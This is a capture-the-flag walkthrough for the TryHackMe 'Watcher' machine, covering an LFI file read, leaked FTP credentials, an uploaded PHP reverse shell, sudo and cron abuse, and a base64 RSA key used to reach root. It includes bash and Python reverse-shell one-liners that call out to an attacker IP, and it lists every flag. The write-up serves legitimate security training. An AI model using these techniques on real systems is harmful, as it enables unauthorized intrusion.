This is a writeup for the Watcher machine from the TryHackMe site.
Enumeration #
First, let’s start with a scan of our target with the following command:
nmap -sV -T4 -Pn 10.10.91.35
Three TCP ports are discovered:
- 21/tcp : FTP (vsftpd 3.0.3)
- 22/tcp : SSH port (OpenSSH 7.6p1)
- 80/tcp : HTTP web server (Apache 2.4.29)
Flag 1 - robots.txt #
At first I start by listing the pages of the website.
The robots.txt
page catches my attention, so I go to it and find the following content:
User-agent: *
Allow: /flag_1.txt
Allow: /secret_file_do_not_read.txt
So we learn the existence of 2 pages, the first is accessible and gives us the first flag :
┌──(d3vyce㉿kali)-[~]
└─$ curl http://10.10.91.35/flag_1.txt
FLAG{robots_dot_text_what_is_next}
The second one is unfortunately not available at the moment.
Flag 2 - ftpuser #
After some research, I find that the page post.php
has a post
argument that allows to change the article. By trying a simple injection I can access the contents of a file that I know exists on the remote machine:
http://10.10.91.35/post.php?post=/etc/passwd
I will be able to see the content of the page previously found:
┌──(d3vyce㉿kali)-[~]
└─$ curl http://10.10.91.35/post.php?post=secret_file_do_not_read.txt
[...]
Hi Mat,
The credentials for the FTP server are below. I've set the files to be saved to /home/ftpuser/ftp/files.
Will
----------
ftpuser:givemefiles777
[...]
We learn that the credentials of the FTP server are: ftpuser:givemefiles777
. So I can connect and list the files:
I find the file of the second one, I download it and I display it:
┌──(d3vyce㉿kali)-[~]
└─$ cat flag_2.txt
FLAG{ftp_you_and_me}
Flag 3 - www-data #
In addition to the reading rights, the FTP access allows me to send files. So I create a PHP reverse shell, then I upload it on the server.
I launch the script by accessing the following URL:
10.10.91.35/post.php?post=/home/ftpuser/ftp/files/reverse.php
I now have a reverse shell, I look for the third flag with the following command:
$ find / -name flag_3.txt 2>/dev/null
/var/www/html/more_secrets_a9f10a/flag_3.txt
$ cat /var/www/html/more_secrets_a9f10a/flag_3.txt
FLAG{lfi_what_a_guy}
Flag 4 - toby #
Using the same command as above I find that the fourth flag is in the user toby
folder. So I will have to find a way to change the user.
Looking at the sudo permissions I have with my current user, I find that I can run any command as toby
.
$ sudo -l
Matching Defaults entries for www-data on watcher:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on watcher:
(toby) NOPASSWD: ALL
So I create a shell with the following command:
sudo -u toby /bin/sh
I can now recover the fourth flag.
toby@watcher:/home$ cat toby/flag_4.txt
cat toby/flag_4.txt
FLAG{chad_lifestyle}
Flag 5 - mat #
After searching for the fifth flag I find that it is in the personal file of mat
.
But I also find 2 files in the personal folder of my current user:
$ cat toby/note.txt
Hi Toby,
I've got the cron jobs set up now so don't worry about getting that done.
Mat
$ cat toby/jobs/cow.sh
#!/bin/bash
cp /home/mat/cow.jpg /tmp/cow.jpg
I then discover that the cow.sh
script is executed every minute by the mat
user.
toby@watcher:/home$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
[...]
*/1 * * * * mat /home/toby/jobs/cow.sh
Knowing that I can modify the content of this script, I add a reverse shell to the file with the following command:
echo "/bin/bash -i >& /dev/tcp/10.8.3.186/2345 0>&1" >> toby/jobs/cow.sh
I now have a reverse shell as a mat
:
And I can get the fifth flag back:
mat@watcher:~$ cat flag_5.txt
cat flag_5.txt
FLAG{live_by_the_cow_die_by_the_cow}
Flag 6 - will #
After searching for the sixth flag I find that it is in will
personnel file.
But I also find 1 file in the personal folder of my current user:
mat@watcher:~$ cat note.txt
cat note.txt
Hi Mat,
I've set up your sudo rights to use the python script as my user. You can only run the script with sudo so it should be safe.
Will
Looking at my sudo permissions, I discover that I can run the will_scirpt.py
script as will
.
By looking at the functioning of the script I discover that it is in two parts:
mat@watcher:~$ cat scripts/will_script.py
cat scripts/will_script.py
import os
import sys
from cmd import get_command
cmd = get_command(sys.argv[1])
whitelist = ["ls -lah", "id", "cat /etc/passwd"]
if cmd not in whitelist:
print("Invalid command!")
exit()
os.system(cmd)
------------------------------------------
mat@watcher:~$ cat scripts/cmd.py
cat scripts/cmd.py
def get_command(num):
if(num == "1"):
return "ls -lah"
if(num == "2"):
return "id"
if(num == "3"):
return "cat /etc/passwd"
And interestingly the second part of the script is editable by my user:
mat@watcher:~$ ls -la scripts
ls -la scripts
total 16
drwxrwxr-x 2 will will 4096 Dec 3 2020 .
drwxr-xr-x 6 mat mat 4096 Dec 3 2020 ..
-rw-r--r-- 1 mat mat 133 Dec 3 2020 cmd.py
-rw-r--r-- 1 will will 208 Dec 3 2020 will_script.py
So I add a python reverse shell at the beginning of the file.
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.3.186",3456));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")
def get_command(num):
if(num == "1"):
return "ls -lah"
if(num == "2"):
return "id"
if(num == "3"):
return "cat /etc/passwd"' > scripts/cmd.py
Then I run the script with the following command:
sudo -u will /usr/bin/python3 /home/mat/scripts/will_script.py 1
I now have a reverse shell as a will
.
And I can get the sixth flag back.
will@watcher:/home/will$ cat flag_6.txt
cat flag_6.txt
FLAG{but_i_thought_my_script_was_secure}
Flag 7 - root #
When I try to find the seventh flag with the same method as for the previous ones, I can’t find anything… It must be the root flag!
I first use linPeas to try to find a way to do an elevation of privilege. After a few minutes of analysis of the result of the command. I find a strange file belonging to the root user but readable by my user :
I retrieve its contents and then decrypt it with the base64
command.
will@watcher:/home/will$ cat /opt/backups/key.b64
cat /opt/backups/key.b64
LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFcEFJQkFBS0NBUUVBelBhUUZvbFFx
OGNIb205bXNzeVBaNTNhTHpCY1J5QncrcnlzSjNoMEpDeG5WK2FHCm9wWmRjUXowMVlPWWRqWUlh
WkVKbWRjUFZXUXAvTDB1YzV1M2lnb2lLMXVpWU1mdzg1ME43dDNPWC9lcmRLRjQKanFWdTNpWE45
ZG9CbXIzVHVVOVJKa1ZuRER1bzh5NER0SXVGQ2Y5MlpmRUFKR1VCMit2Rk9ON3E0S0pzSXhnQQpu
TThrajhOa0ZrRlBrMGQxSEtIMitwN1FQMkhHWnJmM0RORm1RN1R1amEzem5nYkVWTzdOWHgzVjNZ
T0Y5eTFYCmVGUHJ2dERRVjdCWWI2ZWdrbGFmczRtNFhlVU8vY3NNODRJNm5ZSFd6RUo1enBjU3Jw
bWtESHhDOHlIOW1JVnQKZFNlbGFiVzJmdUxBaTUxVVIvMndOcUwxM2h2R2dscGVQaEtRZ1FJREFR
QUJBb0lCQUhtZ1RyeXcyMmcwQVRuSQo5WjVnZVRDNW9VR2padjdtSjJVREZQMlBJd3hjTlM4YUl3
YlVSN3JRUDNGOFY3cStNWnZEYjNrVS80cGlsKy9jCnEzWDdENTBnaWtwRVpFVWVJTVBQalBjVU5H
VUthWG9hWDVuMlhhWUJ0UWlSUjZaMXd2QVNPMHVFbjdQSXEyY3oKQlF2Y1J5UTVyaDZzTnJOaUpR
cEdESkRFNTRoSWlnaWMvR3VjYnluZXpZeWE4cnJJc2RXTS8wU1VsOUprbkkwUQpUUU9pL1gyd2Z5
cnlKc20rdFljdlk0eWRoQ2hLKzBuVlRoZWNpVXJWL3drRnZPRGJHTVN1dWhjSFJLVEtjNkI2CjF3
c1VBODUrdnFORnJ4ekZZL3RXMTg4VzAwZ3k5dzUxYktTS0R4Ym90aTJnZGdtRm9scG5Gdyt0MFFS
QjVSQ0YKQWxRSjI4a0NnWUVBNmxyWTJ4eWVMaC9hT0J1OStTcDN1SmtuSWtPYnBJV0NkTGQxeFhO
dERNQXo0T3FickxCNQpmSi9pVWNZandPQkh0M05Oa3VVbTZxb0VmcDRHb3UxNHlHek9pUmtBZTRI
UUpGOXZ4RldKNW1YK0JIR0kvdmoyCk52MXNxN1BhSUtxNHBrUkJ6UjZNL09iRDd5UWU3OE5kbFF2
TG5RVGxXcDRuamhqUW9IT3NvdnNDZ1lFQTMrVEUKN1FSNzd5UThsMWlHQUZZUlhJekJncDVlSjJB
QXZWcFdKdUlOTEs1bG1RL0UxeDJLOThFNzNDcFFzUkRHMG4rMQp2cDQrWThKMElCL3RHbUNmN0lQ
TWVpWDgwWUpXN0x0b3pyNytzZmJBUVoxVGEybzFoQ2FsQVF5SWs5cCtFWHBJClViQlZueVVDMVhj
dlJmUXZGSnl6Z2Njd0V4RXI2Z2xKS09qNjRiTUNnWUVBbHhteC9qeEtaTFRXenh4YjlWNEQKU1Bz
K055SmVKTXFNSFZMNFZUR2gydm5GdVR1cTJjSUM0bTUzem4reEo3ZXpwYjFyQTg1SnREMmduajZu
U3I5UQpBL0hiakp1Wkt3aTh1ZWJxdWl6b3Q2dUZCenBvdVBTdVV6QThzOHhIVkk2ZWRWMUhDOGlw
NEptdE5QQVdIa0xaCmdMTFZPazBnejdkdkMzaEdjMTJCcnFjQ2dZQWhGamkzNGlMQ2kzTmMxbHN2
TDRqdlNXbkxlTVhuUWJ1NlArQmQKYktpUHd0SUcxWnE4UTRSbTZxcUM5Y25vOE5iQkF0aUQ2L1RD
WDFrejZpUHE4djZQUUViMmdpaWplWVNKQllVTwprSkVwRVpNRjMwOFZuNk42L1E4RFlhdkpWYyt0
bTRtV2NOMm1ZQnpVR1FIbWI1aUpqa0xFMmYvVHdZVGcyREIwCm1FR0RHd0tCZ1FDaCtVcG1UVFJ4
NEtLTnk2d0prd0d2MnVSZGo5cnRhMlg1cHpUcTJuRUFwa2UyVVlsUDVPTGgKLzZLSFRMUmhjcDlG
bUY5aUtXRHRFTVNROERDYW41Wk1KN09JWXAyUloxUnpDOUR1ZzNxa3R0a09LQWJjY0tuNQo0QVB4
STFEeFUrYTJ4WFhmMDJkc1FIMEg1QWhOQ2lUQkQ3STVZUnNNMWJPRXFqRmRaZ3Y2U0E9PQotLS0t
LUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQo=
This is an id_rsa
! Certainly the one of the root user. So I add the permissions to the file, then I launch an SSH session:
I now have a root
reserse shell and I can recover the last flag.
root@watcher:~# cat flag_7.txt
FLAG{who_watches_the_watchers}